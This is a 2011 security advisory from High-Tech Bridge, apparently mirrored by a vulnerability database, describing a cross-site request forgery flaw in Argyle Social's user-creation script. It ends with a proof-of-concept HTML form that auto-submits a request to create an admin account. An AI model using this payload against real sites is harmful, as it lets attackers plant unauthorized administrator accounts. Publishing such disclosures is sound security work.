HTB22978: XSRF (CSRF) in Argyle Social

2011-05-13T00:00:00
ID SECURITYVULNS:DOC:26362
Type securityvulns
Reporter Securityvulns
Modified 2011-05-13T00:00:00

Description

Vulnerability ID: HTB22978 Reference: http://www.htbridge.ch/advisory/xsrf_csrf_in_argyle_social.html Product: Argyle Social Vendor: Argyle Social ( http://argylesocial.com/ ) Vulnerable Version: Current at 26/04/2011 Vendor Notification: 28 April 2011 Vulnerability Type: CSRF (Cross-Site Request Forgery) Risk level: Low Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ )

Vulnerability Details: The vulnerability exists due to failure in the users creating script to properly verify the source of HTTP request.

Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

Attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://app.argylesocial.com/users/create/" method="post" name="main"> <input type="hidden" name="name" value="test"> <input type="hidden" name="email" value="email@example.com"> <input type="hidden" name="code" value="usercode"> <input type="hidden" name="role" value="admin"> </form> <script> document.main.submit(); </script>